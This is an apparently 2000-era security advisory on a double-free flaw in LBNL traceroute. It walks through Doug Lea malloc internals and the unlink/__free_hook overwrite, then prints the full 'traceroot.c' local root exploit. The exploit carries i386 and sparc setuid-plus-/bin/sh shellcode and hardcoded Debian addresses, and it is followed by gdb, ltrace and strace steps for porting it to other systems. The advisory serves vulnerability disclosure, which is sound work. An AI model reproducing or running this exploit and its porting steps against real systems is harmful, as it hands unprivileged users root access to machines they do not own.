COMMAND
traceroute
SYSTEMS AFFECTED
LBNL traceroute
PROBLEM
Michel Kaempf found following. Due to a wrong call to free(),
LBNL (Lawrence Berkeley National Laboratory) traceroute can be
exploited by a malicious local user in order to gain root access
to the system. The vulnerability was discovered by Pekka Savola,
first discussed by Chris Evans on the security-audit and bugtraq
lists, and finally exploited by Dvorak in his post to the bugtraq
list. For more info see:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/troute3.html
Michel was working on the problem when Dvorak released his exploit
to the bugtraq list. However, he decided to continue his own
exploit, because he needed a simple and working exploit on both
big and little endian architectures.
A vulnerable version of traceroute dies with a segmentation
violation when running `traceroute -g 12 -g 42'. When looking
closer at the traceroute sources, the guilty sequence appears to
be:
...
name = savestr("12");
...
free(name);
...
name = savestr("42");
...
free(name);
At this point, the segmentation fault occurs. The savestr()
function is "a replacement for strdup() that cuts down on malloc()
overhead". How does savestr() work internally, and why does the
second call to free() end with a segmentation violation?
When savestr("12") is called, a 1024 bytes buffer is allocated
thanks to malloc(). The pointer returned by malloc() will be
called p from now on. The "12" string is then stored at the
beginning of this buffer, and the static pointer strptr is updated
in order to point after this null terminated "12" string (i.e.
strptr = p + strlen("12") + 1). savestr() finally returns the
pointer p.
When free() is called for the first time, the 1024 bytes buffer
allocated thanks to malloc() and beginning at the pointer p is
freed.
When savestr("42") is called, the "42" string is stored in the
previously freed 1024 bytes buffer, at the position described by
the static pointer strptr (p + strlen("12") + 1). This is already
a problem, but not an exploitable one. savestr() finally returns
the pointer (p + strlen("12") + 1).
When free() is called for the second time, it tries to free the
buffer located at (p + strlen("12") + 1). Unfortunately, this
pointer was not returned by malloc(), and that's why this call to
free() dies with a segmentation fault.
The second call to free() can be exploited. The malloc
implementation used by most Linux systems is Doug Lea's malloc,
and works as follows:
- Free and allocated blocks of memory are described by
"chunks", beginning at 8 bytes before the pointer returned
to the user by malloc() or given by the user to free()
(called mem in the picture below).
- In the first 4 bytes of a chunk is stored the size of the
previous chunk (called prev_size in the picture below), if
allocated.
- In the next 4 bytes is stored the size (in bytes) of the
chunk itself (called size in the picture below), but the
PREV_INUSE and IS_MMAPPED bits of this integer have special
meanings.
- Free chunks are stored in circular doubly-linked lists: the
4 bytes after size contain a forward pointer to the next
chunk in the list (called fd in the picture below), and the
next 4 bytes contain a back pointer to the previous chunk
in the list (called bk in the picture below).
+-----------+----------+----------+----------+--------------------------
| prev_size | size | fd | bk | ...
+-----------+----------+----------+----------+--------------------------
^ ^
chunk mem
When running `traceroute -g 123 -g gateway host hell code', where
gateway, host, hell and code are strings which will be described
later, the second call to free(), discussed previously, will look
like this:
+-----------+----------+-----+-----+-----+------+-----------------------
| prev_size | size | '1' | '2' | '3' | '\0' | ...
+-----------+----------+-----+-----+-----+------+-----------------------
^ ^ ^
chunk p mem (the pointer given to free())
Fortunately, the four bytes before the pointer given to free()
will in fact *not* be the four bytes of the null terminated
string "123", but the binary IP address corresponding to gateway,
because of a calloc() call in traceroute, between the second
savestr() call and the second free() call. Nice. If this binary
IP address is constructed so that the PREV_INUSE bit is set and
the IS_MMAPPED bit is unset, the second call to free() will look
like this:
chunk = mem2chunk(mem);
// equivalent to chunk = mem - 8, or chunk = p - 4 here
if (chunk_is_mmapped(chunk)) {
...
}
// will not be executed since IS_MMAPPED is unset
hd = chunk->size;
sz = hd & ~PREV_INUSE;
// PREV_INUSE is discarded when computing the real size of the chunk
next = chunk_at_offset(chunk, sz);
// equivalent to next = chunk + sz
nextsz = chunksize(next);
// equivalent to nextsz = next->size & ~(PREV_INUSE|IS_MMAPPED)
if (!(hd & PREV_INUSE)) {
...
}
// will no be executed since PREV_INUSE is set
if (!(inuse_bit_at_offset(next, nextsz))) {
// equivalent to if (!( (next + nextsz)->size & PREV_INUSE )) {
...
}
// this block will be executed if the next chunk is built wisely...
// *must* be executed, because it is where the exploit does the trick
So, the next chunk has to be constructed wisely, and will be
stored on the stack, thanks to the host argument given to
traceroute. This host argument should also be padded in order to
be aligned on the stack (processors like sparc always require
alignment).
The gateway argument should be chosen so that next points to the
host argument on the stack, and so that PREV_INUSE is set and
IS_MMAPPED is unset. Fortunately, if host is aligned on the
stack, IS_MMAPPED will be unset, and PREV_INUSE can be set since
free() discards this bit when computing the real size of the
chunk.
Finally, the hell and code arguments given to traceroute will
contain the shellcode, and should be padded so that hell is
aligned on the stack. Why was the shellcode separated into two
parts? Well, read on.
Now, how should the host argument be constructed, so that the
block discussed previously will be executed? The host argument
will look like this:
AAAABBBBCCCCDDDDEEEEXXX
BBBB will contain the prev_size of the next chunk, CCCC the size
of the next chunk, DDDD the fd pointer and EEEE the bk pointer.
XXX is used for padding, because if the argument following the
host argument on the stack (hell) is 4 bytes aligned, host will
also be 4 bytes aligned, thanks to this null terminated string
"XXX". Finally, AAAA was added because these 4 bytes of the
stack will be overwritten by free().
If CCCC (next->size) is equal to 0xffffffff, the call to
inuse_bit_at_offset() discussed previously will be equivalent to
(BBBB & PREV_INUSE). This test should fail, and that's why
setting BBBB to (0xffffffff & ~PREV_INUSE) should do the trick.
What else? Well, the DDDD and EEEE bytes, the fd and bk
pointers... Once the inuse_bit_at_offset() test completed, free()
runs the following macro:
unlink(next, bck, fwd);
Where unlink() looks like this:
#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
Wow, thanks to unlink(), a function pointer stored somewhere in
the memory can be overwritten with a pointer to the shellcode...
__free_hook is a nice one (thank you Solar Designer). After
unlink(), the next call to free() should execute the shellcode
and lead to root.
The fd and bk pointers should be built carefully. The memory
address given by ((unsigned int *)fd)[3] will be overwritten with
the memory address given by bk, that's why setting fd to
(&__free_hook - 12) and bk to the address of the hell argument on
the stack is a good choice. But, because there is always a but,
the memory address given by ((unsigned int *)bk)[2] (i.e. the
bytes 8, 9, 10 and 11 of the shellcode) will also be overwritten.
That's why the beginning of the shellcode should jump these 4
garbage bytes. This is easy on i386 architectures, where one
byte can be used for the jump instruction, and one byte for the
number of bytes to be jumped. On sparc processors, 4 bytes are
needed for the jump instruction and the number of 4 bytes blocks
to be jumped, and the next 4 bytes should describe a nop
instruction, because of the sparc pipeline. But the number of 4
bytes blocks to be jumped will contain a null byte, and that's
impossible: the shellcode is a string, and a null byte in a string
corresponds to a string terminator.
The solution? The following exploit divides the shellcode into two
parts, hell and code, so that the null byte terminator of the hell
string can be used as part of the sparc jump instruction. And for
architectures where this null byte is not required, the jump
instruction located in the hell argument will automagically skip
the hell null byte terminator.
/*
* MasterSecuritY <www.mastersecurity.fr>
*
* traceroot.c - Local root exploit in LBNL traceroute
* Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
*
* Updated versions of this exploit and the corresponding advisory will
* be made available at:
*
* ftp://maxx.via.ecp.fr/traceroot/
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define i386_linux \
/* setuid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
/* setgid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
/* Aleph One :) */ \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define sparc_linux \
/* setuid( 0 ); */ \
"\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \
/* setgid( 0 ); */ \
"\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \
/* Aleph One :) */ \
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \
"\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"
struct arch {
char * description;
char * filename;
unsigned int stack;
char * hell;
char * code;
unsigned int p;
unsigned int __free_hook;
};
struct arch archlist[] = {
{
"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386",
"/usr/sbin/traceroute",
0xc0000000 - 4,
"\xeb\x0aXXYYYYZZZ",
i386_linux,
0x0804ce38,
0x400f1cd8
},
{
"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc",
"/usr/sbin/traceroute",
0xf0000000 - 8,
"\x10\x80",
"\x03\x01XXXYYYY" sparc_linux,
0x00025598,
0x70152c34
}
};
void usage( char * string )
{
int i;
fprintf( stderr, "Usage: %s architecture\n", string );
fprintf( stderr, "Available architectures:\n" );
for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) {
fprintf( stderr, "%i: %s\n", i, archlist[i].description );
}
}
int main( int argc, char * argv[] )
{
char gateway[1337];
char host[1337];
char hell[1337];
char code[1337];
char * execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL };
int i;
struct arch * arch;
unsigned int hellcode;
unsigned int size;
if ( argc != 2 ) {
usage( argv[0] );
return( -1 );
}
i = atoi( argv[1] );
if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) {
usage( argv[0] );
return( -1 );
}
arch = &( archlist[i] );
execve_argv[0] = arch->filename;
strcpy( code, arch->code );
strcpy( hell, arch->hell );
hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1);
for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) {
strcat( code, "X" );
}
hellcode = hellcode & ~3;
strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" );
((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
((unsigned int *)host)[2] = 0xffffffff;
((unsigned int *)host)[3] = arch->__free_hook - 12;
((unsigned int *)host)[4] = hellcode;
size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4);
size = size | PREV_INUSE;
sprintf(
gateway,
"0x%02x.0x%02x.0x%02x.0x%02x",
((unsigned char *)(&size))[0],
((unsigned char *)(&size))[1],
((unsigned char *)(&size))[2],
((unsigned char *)(&size))[3]
);
execve( execve_argv[0], execve_argv, NULL );
return( -1 );
}
The exploit was written to easily include new architectures and
operating systems. In order to support new platforms, 7 different
elements are needed:
- description, a string describing the concerned platform. For
the moment, only "Debian GNU/Linux 2.2 (traceroute 1.4a5-2)
i386" and "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc" are
supported.
- filename, a string containing the full path where the traceroute
binary can be found. On most systems, this will be
"/usr/sbin/traceroute".
- stack, the address where the first argument given to a program
(the program name itself) can be found. On i386 architectures,
this is 0xc0000000 - 4, on sparc architectures it is
0xf0000000 - 8.
- hell and code, a special shellcode divided into two parts...
see the discussion above. hell and code are already available
for i386 and sparc processors.
- p, the pointer returned to the savestr() function by the
malloc(1024) call. On architectures where ltrace is available,
this pointer can be easily obtained:
% cp /usr/sbin/traceroute /tmp
% ltrace /tmp/traceroute -g 12 -g 42 2>&1 | grep 'malloc(1024)'
malloc(1024) = 0x0804ce38
On architectures were ltrace is not available (like sparc), the
whole thing is trickier: download the traceroute sources, and
add the following line in savestr.c, after the malloc(1024)
call:
fprintf( stderr, "debug: strptr == %p;\n", strptr );
Now, compile traceroute, and run it through strace:
% strace ./traceroute -g 12 -g 42
Compute the difference between the pointer returned by the debug
message and the pointer returned by brk(0). Now run the real
traceroute through strace:
% cp /usr/sbin/traceroute /tmp
% strace /tmp/traceroot -g 12 -g 42 2>&1 | grep 'brk(0)'
brk(0) = 0x22418
Now add the difference computed before to this pointer, and yes,
the resulting pointer is p.
- __free_hook, the memory address were the __free_hook function
pointer is stored. Use GDB in order to find out the value of
this last element:
% cp /usr/sbin/traceroute /tmp
% gdb /tmp/traceroute
(gdb) break exit
(gdb) run
(gdb) p &__free_hook
It is as simple as that. Feel free to send support for new
architectures so that it can be included in the official version
of the exploit, available at:
ftp://maxx.via.ecp.fr/traceroot/
Note that version of the exploit above containes minor
imperfections, and will not work against systems protected by
the Linux kernel patches from the Openwall Project or the PaX
Team. These three issues are discussed in this second part of
the advisory.
The new version of the traceroute exploit is available at:
ftp://maxx.via.ecp.fr/traceroot/traceroot2.c
Two minor imperfections were fixed:
- The memory address of the function pointer overwritten by the
exploit, __free_hook, was part of the arch structure in the
first version. However, this address will not necessarily be
the same on two different computers running the very same
operating system. This memory address was removed from the arch
structure, and is now provided by the user thanks to the new
victim command line argument.
- The first version of the exploit was unable to detect null bytes
in the structures it built. The new version of the exploit will
return an error if null bytes are found.
A workaround exists: the structures can be split into many
pieces, allowing null bytes thanks to the string terminators of
the command line arguments passed to traceroute. However, the
case where null bytes were present, and where no other valid
victim could be chosen was never encountered, and that is why
the workaround was not implemented. Moreover, "Red Hat Linux
release 6.2 (traceroute 1.4a5) i386" support was added.
An exploit against i386 patched systems, which stores the
shellcode in the heap instead of the stack, was written and is
available at:
ftp://maxx.via.ecp.fr/traceroot/openwall.c
The return-into-libc technique, or any other technique virtually
possible against PaX, will not work against traceroute. The PaX
patch is available at:
http://pageexec.virtualave.net/
When the exploit overwrites the pointer stored at the memory
address foo with the pointer bar, it also overwrites the pointer
stored at the memory address bar with the pointer foo (not
exactly, two offsets are involved in this process, check out the
first part of the advisory, or the unlink() macro used by free(),
for more information). This is why a rwx memory page is needed,
and (un)fortunately, PaX removes these pages.
SOLUTION
Every vendor should already have released a patched version of
traceroute since the vulnerability was published and exploited
about a month ago. But anyway, a fixed version of traceroute is
available at:
ftp://ftp.ee.lbl.gov/traceroute.tar.gz